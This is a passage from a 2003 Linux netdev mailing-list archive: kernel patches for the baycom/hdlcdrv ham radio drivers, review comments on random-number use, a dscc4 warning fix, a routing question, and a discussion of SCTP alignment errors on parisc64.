MOD_DEC_USE_COUNT; return 0; } @@ -659,35 +657,38 @@ MODULE_LICENSE("GPL"); static int __init init_baycomserhdx(void) { - int i, j, found = 0; + int i, found = 0; char set_hw = 1; - struct baycom_state *bc; printk(bc_drvinfo); /* * register net devices */ for (i = 0; i < NR_PORTS; i++) { - struct net_device *dev = baycom_device+i; + struct net_device *dev; + struct baycom_state *bc; char ifname[IFNAMSIZ]; sprintf(ifname, "bcsh%d", i); + if (!mode[i]) set_hw = 0; if (!set_hw) iobase[i] = irq[i] = 0; - j = hdlcdrv_register_hdlcdrv(dev, &ser12_ops, sizeof(struct baycom_state), - ifname, iobase[i], irq[i], 0); - if (!j) { - bc = (struct baycom_state *)dev->priv; - if (set_hw && baycom_setmode(bc, mode[i])) - set_hw = 0; - found++; - } else { - printk(KERN_WARNING "%s: cannot register net device\n", - bc_drvname); - } + + dev = hdlcdrv_register(&ser12_ops, + sizeof(struct baycom_state), + ifname, iobase[i], irq[i], 0); + if (IS_ERR(dev)) + break; + + bc = (struct baycom_state *)dev->priv; + if (set_hw && baycom_setmode(bc, mode[i])) + set_hw = 0; + found++; + baycom_device[i] = dev; } + if (!found) return -ENXIO; return 0; @@ -698,16 +699,10 @@ static void __exit cleanup_baycomserhdx( int i; for(i = 0; i < NR_PORTS; i++) { - struct net_device *dev = baycom_device+i; - struct baycom_state *bc = (struct baycom_state *)dev->priv; + struct net_device *dev = baycom_device[i]; - if (bc) { - if (bc->hdrv.magic != HDLCDRV_MAGIC) - printk(KERN_ERR "baycom: invalid magic in " - "cleanup_module\n"); - else - hdlcdrv_unregister_hdlcdrv(dev); - } + if (dev) + hdlcdrv_unregister(dev); } } diff -urNp -X dontdiff net-2.5/drivers/net/hamradio/hdlcdrv.c linux-2.5-net/drivers/net/hamradio/hdlcdrv.c --- net-2.5/drivers/net/hamradio/hdlcdrv.c 2003-09-19 10:20:48.000000000 -0700 +++ linux-2.5-net/drivers/net/hamradio/hdlcdrv.c 2003-09-09 16:36:16.000000000 -0700 @@ -729,25 +729,15 @@ static int hdlcdrv_ioctl(struct net_devi /* --------------------------------------------------------------------- */ /* - * Check for a network adaptor of this type, and return '0' if one exists. - * If dev->base_addr == 0, probe all likely locations. - * If dev->base_addr == 1, always return failure. - * If dev->base_addr == 2, allocate space for the device and return success - * (detachable devices only). + * Initialize fields in hdlcdrv */ -static int hdlcdrv_probe(struct net_device *dev) +static void hdlcdrv_setup(struct net_device *dev) { - const struct hdlcdrv_channel_params dflt_ch_params = { + static const struct hdlcdrv_channel_params dflt_ch_params = { 20, 2, 10, 40, 0 }; - struct hdlcdrv_state *s; + struct hdlcdrv_state *s = dev->priv;; - if (!dev) - return -ENXIO; - /* - * not a real probe! only initialize data structures - */ - s = (struct hdlcdrv_state *)dev->priv; /* * initialize the hdlcdrv_state struct */ @@ -806,72 +796,60 @@ static int hdlcdrv_probe(struct net_devi memcpy(dev->broadcast, ax25_bcast, AX25_ADDR_LEN); memcpy(dev->dev_addr, ax25_nocall, AX25_ADDR_LEN); dev->tx_queue_len = 16; - - /* New style flags */ - dev->flags = 0; - - return 0; } /* --------------------------------------------------------------------- */ - -int hdlcdrv_register_hdlcdrv(struct net_device *dev, const struct hdlcdrv_ops *ops, - unsigned int privsize, char *ifname, - unsigned int baseaddr, unsigned int irq, - unsigned int dma) +struct net_device *hdlcdrv_register(const struct hdlcdrv_ops *ops, + unsigned int privsize, const char *ifname, + unsigned int baseaddr, unsigned int irq, + unsigned int dma) { + struct net_device *dev; struct hdlcdrv_state *s; + int err; + + BUG_ON(ops == NULL); - if (!dev || !ops) - return -EACCES; if (privsize < sizeof(struct hdlcdrv_state)) privsize = sizeof(struct hdlcdrv_state); - memset(dev, 0, sizeof(struct net_device)); - if (!(s = dev->priv = kmalloc(privsize, GFP_KERNEL))) - return -ENOMEM; + + dev = alloc_netdev(privsize, ifname, hdlcdrv_setup); + if (!dev) + return ERR_PTR(-ENOMEM); + /* * initialize part of the hdlcdrv_state struct */ - memset(s, 0, privsize); + s = dev->priv; s->magic = HDLCDRV_MAGIC; - strncpy(dev->name, ifname, sizeof(dev->name)); s->ops = ops; - /* - * initialize part of the device struct - */ - dev->if_port = 0; - dev->init = hdlcdrv_probe; dev->base_addr = baseaddr; dev->irq = irq; dev->dma = dma; - if (register_netdev(dev)) { + + err = register_netdev(dev); + if (err < 0) { printk(KERN_WARNING "hdlcdrv: cannot register net " "device %s\n", dev->name); - kfree(dev->priv); - return -ENXIO; + kfree(dev); + dev = ERR_PTR(err); } - MOD_INC_USE_COUNT; - return 0; + return dev; } /* --------------------------------------------------------------------- */ -int hdlcdrv_unregister_hdlcdrv(struct net_device *dev) +void hdlcdrv_unregister(struct net_device *dev) { - struct hdlcdrv_state *s; + struct hdlcdrv_state *s = dev->priv; + + BUG_ON(s->magic != HDLCDRV_MAGIC); - if (!dev) - return -EINVAL; - if (!(s = (struct hdlcdrv_state *)dev->priv)) - return -EINVAL; - if (s->magic != HDLCDRV_MAGIC) - return -EINVAL; if (s->ops->close) s->ops->close(dev); unregister_netdev(dev); - kfree(s); - MOD_DEC_USE_COUNT; - return 0; + + free_netdev(dev); } /* --------------------------------------------------------------------- */ @@ -879,8 +857,8 @@ int hdlcdrv_unregister_hdlcdrv(struct ne EXPORT_SYMBOL(hdlcdrv_receiver); EXPORT_SYMBOL(hdlcdrv_transmitter); EXPORT_SYMBOL(hdlcdrv_arbitrate); -EXPORT_SYMBOL(hdlcdrv_register_hdlcdrv); -EXPORT_SYMBOL(hdlcdrv_unregister_hdlcdrv); +EXPORT_SYMBOL(hdlcdrv_register); +EXPORT_SYMBOL(hdlcdrv_unregister); /* --------------------------------------------------------------------- */ From shemminger@osdl.org Fri Sep 19 13:38:34 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Sep 2003 13:38:40 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8JKcXFx024457 for ; Fri, 19 Sep 2003 13:38:34 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8JKcOU09520; Fri, 19 Sep 2003 13:38:24 -0700 Date: Fri, 19 Sep 2003 13:38:02 -0700 From: Stephen Hemminger To: Thomas Sailer , Jeff Garzik Cc: linux-hams@vger.kernel.org, netdev@oss.sgi.com Subject: [PATCH] (2/4) baycom c99 initializers Message-Id: <20030919133802.63528be2.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 61 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1942 Lines: 60 diff -Nru a/drivers/net/hamradio/baycom_par.c b/drivers/net/hamradio/baycom_par.c --- a/drivers/net/hamradio/baycom_par.c Fri Sep 19 13:31:27 2003 +++ b/drivers/net/hamradio/baycom_par.c Fri Sep 19 13:31:27 2003 @@ -388,11 +388,11 @@ /* --------------------------------------------------------------------- */ static struct hdlcdrv_ops par96_ops = { - bc_drvname, - bc_drvinfo, - par96_open, - par96_close, - baycom_ioctl + .drvname = bc_drvname, + .drvinfo = bc_drvinfo, + .open = par96_open, + .close = par96_close, + .ioctl = baycom_ioctl }; /* --------------------------------------------------------------------- */ diff -Nru a/drivers/net/hamradio/baycom_ser_fdx.c b/drivers/net/hamradio/baycom_ser_fdx.c --- a/drivers/net/hamradio/baycom_ser_fdx.c Fri Sep 19 13:31:27 2003 +++ b/drivers/net/hamradio/baycom_ser_fdx.c Fri Sep 19 13:31:27 2003 @@ -496,11 +496,11 @@ /* --------------------------------------------------------------------- */ static struct hdlcdrv_ops ser12_ops = { - bc_drvname, - bc_drvinfo, - ser12_open, - ser12_close, - baycom_ioctl + .drvname = bc_drvname, + .drvinfo = bc_drvinfo, + .open = ser12_open, + .close = ser12_close, + .ioctl = baycom_ioctl, }; /* --------------------------------------------------------------------- */ diff -Nru a/drivers/net/hamradio/baycom_ser_hdx.c b/drivers/net/hamradio/baycom_ser_hdx.c --- a/drivers/net/hamradio/baycom_ser_hdx.c Fri Sep 19 13:31:27 2003 +++ b/drivers/net/hamradio/baycom_ser_hdx.c Fri Sep 19 13:31:27 2003 @@ -541,11 +541,11 @@ /* --------------------------------------------------------------------- */ static struct hdlcdrv_ops ser12_ops = { - bc_drvname, - bc_drvinfo, - ser12_open, - ser12_close, - baycom_ioctl + .drvname = bc_drvname, + .drvinfo = bc_drvinfo, + .open = ser12_open, + .close = ser12_close, + .ioctl = baycom_ioctl, }; /* --------------------------------------------------------------------- */ From shemminger@osdl.org Fri Sep 19 13:38:37 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Sep 2003 13:38:41 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8JKcaFx024458 for ; Fri, 19 Sep 2003 13:38:36 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8JKcRU09535; Fri, 19 Sep 2003 13:38:27 -0700 Date: Fri, 19 Sep 2003 13:38:04 -0700 From: Stephen Hemminger To: Thomas Sailer , Jeff Garzik Cc: linux-hams@vger.kernel.org, netdev@oss.sgi.com Subject: [PATCH] (3/4) baycom/hdlcdrv unregister Message-Id: <20030919133804.5ac0fc22.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 62 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1120 Lines: 43 If baycom driver has never been opened, it will attempt to free an IRQ that it never registered when removed. The problem is that hdlcdrv does not keep track of open/close state. diff -Nru a/drivers/net/hamradio/hdlcdrv.c b/drivers/net/hamradio/hdlcdrv.c --- a/drivers/net/hamradio/hdlcdrv.c Fri Sep 19 13:16:29 2003 +++ b/drivers/net/hamradio/hdlcdrv.c Fri Sep 19 13:16:29 2003 @@ -554,6 +554,7 @@ /* * initialise some variables */ + s->opened = 1; s->hdlcrx.hbuf.rd = s->hdlcrx.hbuf.wr = 0; s->hdlcrx.in_hdlc_rx = 0; s->hdlcrx.rx_state = 0; @@ -593,6 +594,7 @@ if (s->skb) dev_kfree_skb(s->skb); s->skb = NULL; + s->opened = 0; return i; } @@ -845,7 +847,7 @@ BUG_ON(s->magic != HDLCDRV_MAGIC); - if (s->ops->close) + if (s->opened && s->ops->close) s->ops->close(dev); unregister_netdev(dev); diff -Nru a/include/linux/hdlcdrv.h b/include/linux/hdlcdrv.h --- a/include/linux/hdlcdrv.h Fri Sep 19 13:16:29 2003 +++ b/include/linux/hdlcdrv.h Fri Sep 19 13:16:29 2003 @@ -180,6 +180,7 @@ struct hdlcdrv_state { int magic; + int opened; const struct hdlcdrv_ops *ops; From shemminger@osdl.org Fri Sep 19 13:38:45 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Sep 2003 13:38:50 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8JKciFx024501 for ; Fri, 19 Sep 2003 13:38:45 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8JKcVU09542; Fri, 19 Sep 2003 13:38:31 -0700 Date: Fri, 19 Sep 2003 13:38:09 -0700 From: Stephen Hemminger To: Thomas Sailer , Jeff Garzik Cc: linux-hams@vger.kernel.org, netdev@oss.sgi.com Subject: [PATCH] (4/4) use system get_random_bytes in hdlcdrv Message-Id: <20030919133809.5390e8cb.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 63 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1340 Lines: 47 Real random numbers aren't important here, but having custom random number generate seems silly when linux kernel has good way to get random data. diff -Nru a/drivers/net/hamradio/hdlcdrv.c b/drivers/net/hamradio/hdlcdrv.c --- a/drivers/net/hamradio/hdlcdrv.c Fri Sep 19 13:18:58 2003 +++ b/drivers/net/hamradio/hdlcdrv.c Fri Sep 19 13:18:58 2003 @@ -52,6 +52,7 @@ #include #include #include +#include #include #include @@ -434,18 +435,10 @@ /* ---------------------------------------------------------------------- */ -static unsigned short random_seed; - -static inline unsigned short random_num(void) -{ - random_seed = 28629 * random_seed + 157; - return random_seed; -} - -/* ---------------------------------------------------------------------- */ - void hdlcdrv_arbitrate(struct net_device *dev, struct hdlcdrv_state *s) { + u8 prand; + if (!s || s->magic != HDLCDRV_MAGIC || s->hdlctx.ptt || !s->skb) return; if (s->ch_params.fulldup) { @@ -459,7 +452,9 @@ if ((--s->hdlctx.slotcnt) > 0) return; s->hdlctx.slotcnt = s->ch_params.slottime; - if ((random_num() % 256) > s->ch_params.ppersist) + + get_random_bytes(&prand, sizeof(prand)); + if (prand > s->ch_params.ppersist) return; start_tx(dev, s); } From romieu@fr.zoreil.com Fri Sep 19 13:48:36 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Sep 2003 13:48:41 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8JKmYFx031532 for ; Fri, 19 Sep 2003 13:48:35 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id h8JKiSxA007503; Fri, 19 Sep 2003 22:44:28 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id h8JKiSRn007502; Fri, 19 Sep 2003 22:44:28 +0200 Date: Fri, 19 Sep 2003 22:44:28 +0200 From: Francois Romieu To: "Randy.Dunlap" Cc: netdev@oss.sgi.com, ncorbic@sangoma.com Subject: Re: [PATCH] wan: kill 3 "unused" warnings Message-ID: <20030919224428.A7296@electric-eye.fr.zoreil.com> References: <20030919113252.67949bc8.rddunlap@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20030919113252.67949bc8.rddunlap@osdl.org>; from rddunlap@osdl.org on Fri, Sep 19, 2003 at 11:32:52AM -0700 X-MIME-Autoconverted: from 8bit to quoted-printable by fr.zoreil.com id h8JKiSxA007503 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8JKmYFx031532 X-archive-position: 64 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Content-Length: 1191 Lines: 46 Randy.Dunlap : [...] > patch_name: dscc_warnings.patch > patch_version: 2003-09-19.11:18:03 > author: Randy.Dunlap > description: kill 3 warnings (label, functions not used); > product: Linux > product_versions: 2.6.0-test5 > maintainer: Nenad Corbic ? $ less MAINTAINERS [...] DSCC4 DRIVER P: François Romieu M: romieu@cogenit.fr M: romieu@ensta.fr S: Maintained > diffstat: = > drivers/net/wan/dscc4.c | 3 ++- > 1 files changed, 2 insertions(+), 1 deletion(-) > > > diff -Naurp ./drivers/net/wan/dscc4.c~warnings ./drivers/net/wan/dscc4.c > --- ./drivers/net/wan/dscc4.c~warnings 2003-09-08 12:49:58.000000000 -0700 > +++ ./drivers/net/wan/dscc4.c 2003-09-19 11:14:59.000000000 -0700 [...] > @@ -1093,7 +1095,6 @@ done: > > err_disable_scc_events: > scc_writel(0xffffffff, dpriv, dev, IMR); > -err_free_ring: > scc_patchl(PowerUp | Vis, 0, dpriv, dev, CCR0); > dscc4_release_ring(dpriv); > err_out: The warning reminds that the call to dscc4_release_ring() is plain wrong (hmmm... as well as calling dscc4_release_ring() in dscc4_close() *doh*). Ok, I will fix this crap. -- Ueimor From rddunlap@osdl.org Fri Sep 19 13:55:10 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Sep 2003 13:55:14 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8JKt5Fx031912 for ; Fri, 19 Sep 2003 13:55:10 -0700 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8JKswU12718; Fri, 19 Sep 2003 13:54:58 -0700 Date: Fri, 19 Sep 2003 13:48:04 -0700 From: "Randy.Dunlap" To: Francois Romieu Cc: netdev@oss.sgi.com Subject: Re: [PATCH] wan: kill 3 "unused" warnings Message-Id: <20030919134804.2c8967e4.rddunlap@osdl.org> In-Reply-To: <20030919224428.A7296@electric-eye.fr.zoreil.com> References: <20030919113252.67949bc8.rddunlap@osdl.org> <20030919224428.A7296@electric-eye.fr.zoreil.com> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8JKt5Fx031912 X-archive-position: 65 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Content-Length: 799 Lines: 34 On Fri, 19 Sep 2003 22:44:28 +0200 Francois Romieu wrote: | Randy.Dunlap : | [...] | > patch_name: dscc_warnings.patch | > patch_version: 2003-09-19.11:18:03 | > author: Randy.Dunlap | > description: kill 3 warnings (label, functions not used); | > product: Linux | > product_versions: 2.6.0-test5 | > maintainer: Nenad Corbic | | ? | | $ less MAINTAINERS | [...] | DSCC4 DRIVER | P: François Romieu | M: romieu@cogenit.fr | M: romieu@ensta.fr | S: Maintained Ooops, sorry about that. | The warning reminds that the call to dscc4_release_ring() is plain wrong | (hmmm... as well as calling dscc4_release_ring() in dscc4_close() *doh*). | | Ok, I will fix this crap. Thanks. -- ~Randy From kristenc@cs.pdx.edu Fri Sep 19 14:48:42 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Sep 2003 14:48:51 -0700 (PDT) Received: from rigel.cs.pdx.edu (root@rigel.cs.pdx.edu [131.252.208.59]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8JLmfFx002069 for ; Fri, 19 Sep 2003 14:48:42 -0700 Received: from sirius.cs.pdx.edu (root@sirius.cs.pdx.edu [131.252.208.57]) by rigel.cs.pdx.edu (8.12.8/8.12.8) with ESMTP id h8JLmbZx005517 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 19 Sep 2003 14:48:38 -0700 (PDT) Received: from sirius.cs.pdx.edu (kristenc@localhost [127.0.0.1]) by sirius.cs.pdx.edu (8.12.8/8.12.8) with ESMTP id h8JLmbYk004228; Fri, 19 Sep 2003 14:48:37 -0700 (PDT) Received: (from kristenc@localhost) by sirius.cs.pdx.edu (8.12.8/8.12.8/Submit) id h8JLmb6j004227; Fri, 19 Sep 2003 14:48:37 -0700 (PDT) Date: Fri, 19 Sep 2003 14:48:37 -0700 From: Kristen Carlson To: davem@redhat.com Cc: netdev@oss.sgi.com Subject: Re: patricia tries vs. hash for routing? Message-ID: <20030919214837.GA3012@sirius.cs.pdx.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-Virus-Scanned: by amavisd-new X-archive-position: 66 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kristenc@cs.pdx.edu Precedence: bulk X-list: netdev Content-Length: 380 Lines: 8 I was looking through some very old mail list discussions (1996!) on this topic, and the feeling then was that the code was optimal for < 60,000 routes. Given that much has happened since then, is it still a fair assumption to say that the linux routing algorithm is optimized for < 60,000 routes, but a more BSD-like algorithm works better for > 60,000 routes? Thanks, Kristen From ak@suse.de Fri Sep 19 15:10:00 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Sep 2003 15:10:08 -0700 (PDT) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8JM9nFx004927 for ; Fri, 19 Sep 2003 15:09:50 -0700 Received: from Hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 5AEF6162E648; Fri, 19 Sep 2003 23:46:43 +0200 (CEST) Date: Fri, 19 Sep 2003 23:46:42 +0200 From: Andi Kleen To: Stephen Hemminger Cc: Thomas Sailer , Jeff Garzik , linux-hams@vger.kernel.org, netdev@oss.sgi.com Subject: Re: [PATCH] (4/4) use system get_random_bytes in hdlcdrv Message-ID: <20030919214642.GA22244@wotan.suse.de> References: <20030919133809.5390e8cb.shemminger@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030919133809.5390e8cb.shemminger@osdl.org> X-archive-position: 67 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev Content-Length: 817 Lines: 23 > void hdlcdrv_arbitrate(struct net_device *dev, struct hdlcdrv_state *s) > { > + u8 prand; > + > if (!s || s->magic != HDLCDRV_MAGIC || s->hdlctx.ptt || !s->skb) > return; > if (s->ch_params.fulldup) { > @@ -459,7 +452,9 @@ > if ((--s->hdlctx.slotcnt) > 0) > return; > s->hdlctx.slotcnt = s->ch_params.slottime; > - if ((random_num() % 256) > s->ch_params.ppersist) > + > + get_random_bytes(&prand, sizeof(prand)); > + if (prand > s->ch_params.ppersist) The "hard" random numbers generated by get_random_bytes are a precious scarce resource (many systems don't generate them very often). They should only be used as seed or when it is needed for security, otherwise users who really need them risk blocking on /dev/random. Especially if that function is called often it would be a bad idea. -Andi From sri@us.ibm.com Fri Sep 19 15:16:47 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Sep 2003 15:17:01 -0700 (PDT) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8JMGeFx005673 for ; Fri, 19 Sep 2003 15:16:47 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id h8JMFtm2340864; Fri, 19 Sep 2003 18:15:55 -0400 Received: from w-sridhar.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8JMFspU085468; Fri, 19 Sep 2003 16:15:54 -0600 Date: Fri, 19 Sep 2003 15:15:53 -0700 (PDT) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: "David S. Miller" cc: acme@conectiva.com.br, , Subject: Re: net/sctp/sm_make_chunk.c alignment problems on parisc64 In-Reply-To: <20030918195525.28c17cb1.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 68 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 2724 Lines: 81 On Thu, 18 Sep 2003, David S. Miller wrote: > On Wed, 17 Sep 2003 16:06:18 -0700 (PDT) > Sridhar Samudrala wrote: > > > I don't see this problem on i386, ia64 or ppc64. Can someone > > familiar with parisc64 provide more details or submit a a patch to > > fix this problem? > > As an example, if you have an structure member of type "char": > > struct foo { > char a; > char b[4]; > }; > > And then try to do something like this: > > struct foo *p; > unsigned int *v; > > v = (unsigned int *) (&p->b[0]); > *v = 0; > > The build is going to explode on parisc because this simply is not > allowed. You cannot access a structure member as an object which > has larger alignment than is guarenteed for the type that member > has. > > In the above example we're trying to access with 'unsigned int' > alignment a member which is only guarenteed to have the alignment > for a 'char'. Thanks for explaining with an example. But unfortunately i am not able see this problem with a parisc64 cross compiler on i386. So it makes it hard to debug or fix it. Looks like this happens only when building natively on a parisc64 machine which i don't have access to. From the following original note from Arnaldo ----------------------------------------- CC [M] net/sctp/sm_make_chunk.o {standard input}: Assembler messages: {standard input}:2386: Error: Field not properly aligned [8] (52). {standard input}:2386: Error: Invalid operands {standard input}:2398: Error: Field not properly aligned [8] (52). {standard input}:2398: Error: Invalid operands make[2]: *** [net/sctp/sm_make_chunk.o] Error 1 make[1]: *** [net/sctp] Error 2 make: *** [net] Error 2 it happens in the sctp_pack_cookie function. ----------------------------------------- I am not able to figure out the exact code which is causing this problem as the line numbers reported seem to correspond to the assembled file. I am guessing that the following lines in sctp_pack_cookie() may be the suspects. /* Copy the peer's init packet. */ memcpy(&cookie->c.peer_init[0], init_chunk->chunk_hdr, ntohs(init_chunk->chunk_hdr->length)); /* Copy the raw local address list of the association. */ memcpy((__u8 *)&cookie->c.peer_init[0] + ntohs(init_chunk->chunk_hdr->length), raw_addrs, addrs_len); Am i right? But here, i don't see any accesses to a member as an object which has larger alignment. If so, is there an easy way to fix these assembler errors on parisc64? Also while reviewing the code in sctp_pack_cookie(), i noticed a structure copy. Are structure copies portable across all the archictectures? Should we replace it with a memcpy? Thanks Sridhar From laforge@netfilter.org Fri Sep 19 23:00:26 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 19 Sep 2003 23:00:34 -0700 (PDT) Received: from coruscant.gnumonks.org (mail@coruscant.franken.de [193.174.159.226]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8K60OFx028964 for ; Fri, 19 Sep 2003 23:00:26 -0700 Received: from [192.168.200.2] (helo=sunbeam.gnumonks.org) by coruscant.gnumonks.org with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.22) id 1A0an8-0008JN-L4; Sat, 20 Sep 2003 08:00:22 +0200 Received: from laforge by sunbeam.gnumonks.org with local (Exim 4.20) id 1A0ad8-0002D2-LQ; Sat, 20 Sep 2003 07:50:02 +0200 Date: Sat, 20 Sep 2003 07:50:02 +0200 From: Harald Welte To: jamal Cc: "David S. Miller" , Bart De Schuymer , acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Subject: Re: ipt_physdev.c alignment problems on parisc64 Message-ID: <20030920055002.GC8398@sunbeam.de.gnumonks.org> Mail-Followup-To: Harald Welte , jamal , "David S. Miller" , Bart De Schuymer , acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com References: <20030912085606.GC2350@obroa-skai.de.gnumonks.org> <1063371268.1031.96.camel@jzny.localdomain> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="JgQwtEuHJzHdouWu" Content-Disposition: inline In-Reply-To: <1063371268.1031.96.camel@jzny.localdomain> X-Operating-system: Linux sunbeam 2.6.0-test1-nftest X-Date: Today is Pungenday, the 44th day of Bureaucracy in the YOLD 3169 User-Agent: Mutt/1.5.4i X-Spam-Score: -7.5 (-------) X-archive-position: 69 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: laforge@netfilter.org Precedence: bulk X-list: netdev Content-Length: 2060 Lines: 55 --JgQwtEuHJzHdouWu Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Sep 12, 2003 at 08:54:29AM -0400, jamal wrote: > On Fri, 2003-09-12 at 04:56, Harald Welte wrote: > > On Thu, Sep 11, 2003 at 09:40:46PM -0400, jamal wrote: > > > 